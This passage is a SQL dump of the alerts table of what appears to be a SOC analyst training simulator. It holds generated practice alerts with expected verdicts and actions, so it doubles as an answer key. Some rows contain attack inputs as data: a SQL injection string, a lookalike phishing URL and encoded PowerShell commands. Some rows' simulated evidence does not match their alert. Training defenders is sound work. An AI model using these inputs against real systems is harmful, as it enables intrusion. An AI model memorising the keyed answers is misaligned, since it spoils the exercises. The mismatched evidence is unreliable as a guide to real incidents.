IP address\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command execution from a known malicious IP indicates a true positive malware incident.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1712, 'Suspicious Process Hollowing Detected in explorer.exe', 'high', 'SentinelOne', 'Process hollowing detected within explorer.exe, potentially indicating a sophisticated malware attempt to evade detection.', 'Malware', 'T1055.012', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"\",\"username\":\"mjohnson\",\"hostname\":\"LAPTOP-02\",\"command_line\":\"explorer.exe hollowed_process.exe\"}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"hollowed_process.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File associated with malware variants\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"explorer.exe hollowed_process.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Process hollowing technique used to evade detection\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The detection of process hollowing in explorer.exe is a strong indicator of malware attempting to evade standard detection mechanisms.\"}', 'Intermediate', 'EDR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.055Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.055Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.055Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.055Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.055Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1713, 'Failed Brute Force Attempt from Foreign IP', 'medium', 'Carbon Black', 'A series of failed login attempts from an unusual foreign IP has been detected, suggesting a possible brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:15:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.42\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"SERVER-01\",\"failed_attempts\":25}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported multiple times for brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted admin account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated login failures from a known malicious IP suggest a brute force attempt against the admin account.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:57:16.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:56:16.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:55:16.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:54:16.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1714, 'PowerShell Activity from Internal Network Detected', 'low', 'Sysmon', 'An internal IP executed a PowerShell command with encoded data. This might be a benign administrative script.', 'Malware', 'T1059.001', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"\",\"username\":\"jsmith\",\"hostname\":\"SERVER-03\",\"command_line\":\"powershell.exe -EncodedCommand ZWNobyAnSGVsbG8gV29ybGQn\"}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand ZWNobyAnSGVsbG8gV29ybGQn\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Encoded PowerShell command likely used for administration\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell activity is consistent with legitimate administrative scripting and does not indicate malicious behavior.\"}', 'Intermediate', 'EDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.059Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"SERVER-03\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnSGVsbG8gV29ybGQn\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.059Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"SERVER-03\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnSGVsbG8gV29ybGQn\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.059Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"SERVER-03\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnSGVsbG8gV29ybGQn\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.059Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"SERVER-03\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnSGVsbG8gV29ybGQn\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.059Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"SERVER-03\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnSGVsbG8gV29ybGQn\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1715, 'SQL Injection Attempt Detected on Web Server', 'high', 'CrowdStrike', 'A SQL injection attempt was identified targeting the corporate web server from an external IP.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:55:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.122\",\"dst_ip\":\"192.168.1.20\",\"username\":\"\",\"hostname\":\"WEB-SERVER\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.122\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal web server address\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The signature of the attempted SQL injection matches known attack patterns, confirming the threat.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1716, 'Potential Phishing Email with Malicious URL', 'medium', 'Sysmon', 'A suspicious email containing a potentially malicious URL was detected, mimicking a trusted domain.', 'Phishing', 'T1566.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:10:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.114.5\",\"dst_ip\":\"192.168.1.30\",\"username\":\"kthompson\",\"hostname\":\"EMAIL-SERVER\",\"email_sender\":\"noreply@trusted.com\",\"url\":\"http://trusted.com.secure-login.co\"}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"noreply@trusted.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain slightly altered to mimic legitimate sender\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://trusted.com.secure-login.co\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL part of phishing campaign\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.114.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for hosting phishing sites\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The URL and sender analysis confirm a phishing attempt aiming to deceive recipients into entering credentials.\"}', 'Intermediate', 'EDR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:10:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.114.5\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"kthompson\\\",\\\"hostname\\\":\\\"EMAIL-SERVER\\\",\\\"email_sender\\\":\\\"noreply@trusted.com\\\",\\\"url\\\":\\\"http://trusted.com.secure-login.co\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:10:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.114.5\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"kthompson\\\",\\\"hostname\\\":\\\"EMAIL-SERVER\\\",\\\"email_sender\\\":\\\"noreply@trusted.com\\\",\\\"url\\\":\\\"http://trusted.com.secure-login.co\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:10:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.114.5\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"kthompson\\\",\\\"hostname\\\":\\\"EMAIL-SERVER\\\",\\\"email_sender\\\":\\\"noreply@trusted.com\\\",\\\"url\\\":\\\"http://trusted.com.secure-login.co\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:10:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.114.5\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"kthompson\\\",\\\"hostname\\\":\\\"EMAIL-SERVER\\\",\\\"email_sender\\\":\\\"noreply@trusted.com\\\",\\\"url\\\":\\\"http://trusted.com.secure-login.co\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:10:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.114.5\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"kthompson\\\",\\\"hostname\\\":\\\"EMAIL-SERVER\\\",\\\"email_sender\\\":\\\"noreply@trusted.com\\\",\\\"url\\\":\\\"http://trusted.com.secure-login.co\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1717, 'Benign Internal PowerShell Script Execution', 'low', 'Carbon Black', 'A PowerShell script was executed on an internal machine. The activity appears to be a routine system administration task.', 'Malware', 'T1059.001', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.55\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"DC-01\",\"command_line\":\"powershell.exe -EncodedCommand ZWNobyAnU3lzdGVtIEFkbWluaXN0cmF0aW9uIFRhc2sn\"}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal company IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand ZWNobyAnU3lzdGVtIEFkbWluaXN0cmF0aW9uIFRhc2sn\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Commonly used PowerShell command for administration\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell script execution matches typical system administration patterns and does not indicate malicious activity.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnU3lzdGVtIEFkbWluaXN0cmF0aW9uIFRhc2sn\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnU3lzdGVtIEFkbWluaXN0cmF0aW9uIFRhc2sn\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnU3lzdGVtIEFkbWluaXN0cmF0aW9uIFRhc2sn\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnU3lzdGVtIEFkbWluaXN0cmF0aW9uIFRhc2sn\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnU3lzdGVtIEFkbWluaXN0cmF0aW9uIFRhc2sn\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1718, 'Process Hollowing Activity Detected in benign_app.exe', 'medium', 'SentinelOne', 'Process hollowing detected within benign_app.exe. Initial investigation suggests this is part of legitimate software behavior.', 'Malware', 'T1055.012', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T15:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.75\",\"dst_ip\":\"\",\"username\":\"user1\",\"hostname\":\"DESKTOP-05\",\"command_line\":\"benign_app.exe hollowed_process.exe\"}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"hollowed_process.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File recognized as part of legitimate application suite\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"benign_app.exe hollowed_process.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Process behavior consistent with legitimate software update mechanism\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process behavior aligns with known legitimate applications, suggesting a false positive.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event 